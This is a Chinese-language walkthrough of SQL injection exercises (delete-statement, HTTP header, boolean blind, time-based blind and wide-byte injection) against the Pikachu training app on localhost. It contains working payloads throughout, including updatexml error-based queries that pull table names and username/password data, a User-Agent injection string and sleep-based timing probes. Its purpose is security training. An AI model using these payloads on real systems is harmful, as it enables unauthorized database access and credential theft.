6-delete注入
delete型注入相关的sql语句大概是个 DELETE FROM 表名称 WHERE 列名称 = 值 的形式。
先留个言,再删个除,burpsuite抓个包
1、爆库 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
2、爆表 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
3、爆列 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1)
4、爆内容 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘^’,password)) from users),1,31),0x7e),1)
7-http头注入
用户名admin,密码123456登录,并用burpsuite抓包
登录进去之后有回显http request报文头
根据业务逻辑和上图网页回显分析,这里如果有sql语句的话,比较大可能是insert或者update语句,注入点可能在User-agent或者Accept头。
1、把 User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误
这说明存在 SQL 注入漏洞,后台可能会 insert 到数据库中,这个 payload 跟前面的 insert 实验的是一样的
useragent注入:1’ or updatexml(1, concat(0x7e, database()), 0) or ’
我们这时候就能取得数据库名,后面的操作就是一样的了
8-基于boolian的盲注
1、找闭合
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=lili’&submit=查询
用户名后面加一个单引号,返回username不存在
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=lili’‘&submit=查询
加两个单引号,也返回username不存在
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=lili’%23&submit=查询
但是加一个单引号在加一个注释符(%23就是#),返回正常结果。所以闭合是单引号。
下面就是爆库,爆表,爆列,爆数据的步骤了
9-基于时间的盲注
先输入个正确的用户名,返回“i don’t care who you are!”
再输入个错误的用户名,返回还是“i don’t care who you are!”
参数正确和错误都返回一样的结果,就不能用布尔盲注了,试试时间盲注。
时间盲注的原理是构造逻辑语句,为真时执行sleep操作(表现为回包延时),为假时不执行。
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=lili’ and if(1=1,sleep(2),1)%23&submit=%E6%9F%A5%E8%AF%A2
看到上面的结果说明我们注入成功了。
10-宽字节注入,wide byte注入
构建pyload:1%df’ or 1=1#
其中%df’在gbk编码中会变成“運”,于是就变成了:1運’ or 1=1#,这样就凑成了单引号的闭合,后面也变成了永真式,所以就可以回显出整个表的信息。
后续我们在尝试闭合成功后,后面也可以使用union联合查询来进行爆库爆表。